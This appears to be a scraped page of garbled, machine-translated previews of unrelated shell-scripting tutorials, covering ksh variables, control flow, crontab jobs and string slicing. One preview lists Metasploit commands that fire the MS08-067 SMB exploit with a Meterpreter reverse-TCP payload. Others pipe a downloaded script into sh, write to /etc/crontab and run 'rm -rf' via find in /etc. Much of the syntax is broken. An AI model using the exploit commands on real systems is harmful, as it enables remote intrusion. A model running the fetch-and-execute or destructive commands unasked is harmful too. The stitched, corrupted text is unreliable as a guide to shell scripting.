Shell

#!/usr/bin/ksh Typeset minpuid=17053200001 Maxrec=30 #touch./subscriber_data Output= "./subscriber_data" Domain=dat05.test.com Maxpubid= $minpuid + $maxrec Echo echo "############################################################" echo "# #

MSF > Use Exploit/windows/smb/ms08_067_netapi MSF Exploit (MS08_067_NETAPI) > Set PAYLOAD windows/meterpreter/ Reverse_tcp PAYLOAD = windows/meterpreter/reverse_tcp MSF exploit (MS08_067_NETAPI) > Set target + target + 41 MSF exploit

Demand: Daily 2:10 back up the database zhengdb to/data/backup/db. The start and end of the backup can give the appropriate information. The backup file identity standard is the backup time as the file name, and packaged into a. tar.

We can pass parameters to the script when executing the Shell script, and the format of the parameters obtained in the script is:$n.n represents a number, 1 is the first argument to execute the script, 2 is the second argument to execute the script,

Mac uses Iterm[https://www.iterm2.com/] ()1. 安装iterm2 2. 使用oh-my-zsh wget https://github.com/robbyrussell/oh-my-zsh/raw/master/tools/install.sh -O - | sh 3. cp ~/.oh-my-zsh/templates/zshrc.zsh-template ~/.zshrc4. vim ~/.zshrc ZSH_THEME="robbyrussell"

Write to a system-level scheduled task echo "*/5 * * * * python /data/web/s1/a.py >> /data/web/s1/insert.log" >> /etc/crontab cat /etc/crontabWrite user-level scheduled Tasks [[email protected] update]# cat crontab.txt */5 * * * * python

Var=value//This is a value assignment.Note that there is no space between the variable and the value, otherwise it will be considered equivalent judgment, such as [var = valu E]//equivalent judgment, the space is particularly important!!!#!/bin/SHCD

1.shell is a batch program, similar to the Windows BAT file2. When writing the shell, the first line should be #! /bin/bash begins Execute the file using the bash shell.3. Use the # comment (preferably note the function of the shell script in case

scene: In peacetime work, often need to perform some scheduled tasks, and when the timing of the failure to perform tasks need to come to the nail group, using the [nail robot] can easily and quickly help us do this thing. Simple to use

Five, Shell Process Control1. A heavy BranchIf statement syntax format:If conditionThenCommand1FiThe FI at the end is the if inverted.Write a line:if condition; Then Command1; Fi2. Two branchesIf ELSE syntax format:If

Learning about Linux, some time ago to learn the shell script, wrote a very simple script, remote other virtual machine to partition the disk, their own pure hand, but also a record of individual learning process, the great God can skip!Here is the

1 If ... else ...Basic Format:If conditionThenCommendElseCommendFi     Of course you can write to a line, use [] to indicate the boundary, or to indicate a branch. For example:  if [ $ (ps -ef | grep -c "SSH" ) -gt 1 ];then echo "true" ; fi   

There are many types of for loops in shell scripts, and a brief summary of the following is done today.1. Cyclic Digital#!/bin/bash for((i=1; i; i++)); do Echo $ (expr31); Done #!/bin/bash for i in $ (seq 1 10 ) do echo $ (expr $i

#!/bin/bash#截取字符串#path =ss/usr/share/src/root/home/adminPath=ss/usr/share/src/root/home/admin/src/addEcho $pathEcho ${path%src*} #从右向左截取第一个 the string after SRCEcho ${path}Echo ${path%/*} intercepts the first/second string from right to leftEcho

A 1.shell programming language is a dynamic language (a weakly typed language) that interprets side execution at run time, does not need to be declared before it is used, is declared in use, and does not even differentiate between variable types,

1. Use a command to find the files that have been modified in the last 24 hours in the/etc/directory, and the suffix name isthe. log file and delete it.Find/etc-type f-mtime-1-name "log* "-exec rm-rf {} \;2. From the Test.log file, find the row

If...elseif [$1x = = "AB" x]; Then echo ' You had enter AB ' elif [$1x = = ' CD ' x]; then echo ' You had enter CD ' Else echo ' You had enter UNEXPE CTED word "fi　　Case...esacA switch case similar to another language, however, here is a

Shell and shell scripting differencesShell: Refers to an application that provides an interface through which the operating system kernel services can beShell script: A script written for the shellExecution of Shell scriptsPass./execute instead of

$: The file name of the current execution script$n: N is the natural number, the first parameter is $ A, the second argument is $, and so on$#: Number of parameters$*: All parameters, a string, for example,./a.sh 1 2 3, then $* is "1 2 3"[Email

One: Shell introductionThe shell is a command interpreter that provides interaction between the user and the machine, supports specific syntax, and each user can have his or her own specific shell,centos default of bash, and Zsh,ksh.Two: Command